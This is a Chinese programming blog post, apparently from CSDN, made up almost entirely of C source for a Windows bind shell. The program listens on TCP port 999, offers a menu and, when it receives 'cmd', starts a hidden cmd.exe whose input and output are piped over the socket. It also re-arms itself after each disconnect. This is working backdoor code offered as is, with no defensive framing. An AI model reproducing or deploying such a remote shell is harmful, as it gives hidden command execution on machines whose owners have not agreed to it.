g更新代码

#include <stdio.h>
#include <windows.h>
//WS2_32.lib
void main()
{
    WSADATA wsa;
    SOCKET serverFD;
    char Buff[1024];
 ZeroMemory(Buff,1024);
 unsigned long lBytesRead;
    WSAStartup(MAKEWORD(2,2),&wsa);//初始化套接字
    serverFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
int iport;
iport=999;
server.sin_family = AF_INET;
server.sin_port = htons(iport);
    server.sin_addr.s_addr=inet_addr("127.0.0.1");
    int ret=bind(serverFD,(sockaddr *)&server,sizeof(server));
    ret=listen(serverFD,4);
    int iAddrSize = sizeof(server);

re:   
 SOCKET clientFD=accept(serverFD,(sockaddr *)&server,&iAddrSize);


selects:
 char buf2[]="请输入功能:/n 1:cmd/n 2:** /n";
 strncpy(Buff, buf2, strlen(buf2));
 
 ret=send(clientFD,Buff,strlen(buf2),0); 
   Sleep(200);
   if(ret<=0)
   { printf("客户端开连接!返回等待连接…………/n");
   goto re;
   }
   char *buf1 = "cmd";
   int gethuifu;
       gethuifu=recv(clientFD,Buff,1024,0);
     if(memicmp(buf1,Buff,gethuifu-1)==0)
  {
 printf("cmd 函数功能启动");
 SECURITY_ATTRIBUTES sa;
    sa.nLength=12;
    sa.lpSecurityDescriptor=0;
    sa.bInheritHandle=true;
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

    ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);    ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    char cmdLine[] = "cmd.exe";
    PROCESS_INFORMATION ProcessInformation;
    ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

 
    while(1)
    {
        ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
        if(lBytesRead)
        {
            ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
   Sleep(200);
            if(!ret)
                break;
            ret=send(clientFD,Buff,lBytesRead,0); 
   Sleep(200);
   if(ret<=0)
                break;
        }
        else
        {
            lBytesRead=recv(clientFD,Buff,1024,0);//这里接受并取得命令的字节
            if(lBytesRead<=0)
                break;
            ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);//
   Sleep(200);
            send(clientFD,Buff,lBytesRead,0);//这一句就是增加命令回显功能,在标准TELNET里,输入的命令是没有回显的,加了这一句就有了回显功能
            Sleep(200);
   if(!ret) break;
        }
    }
printf("连接出错!返回等待连接…………/n");
   goto re;//这一句作用是当客户端断开连接后可以连接

}//判断 功能函数
else
{
 

 printf("cmd 函数功能失败/n请从新选择功能/n %d",gethuifu);
 goto selects;
}
   return;
}


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值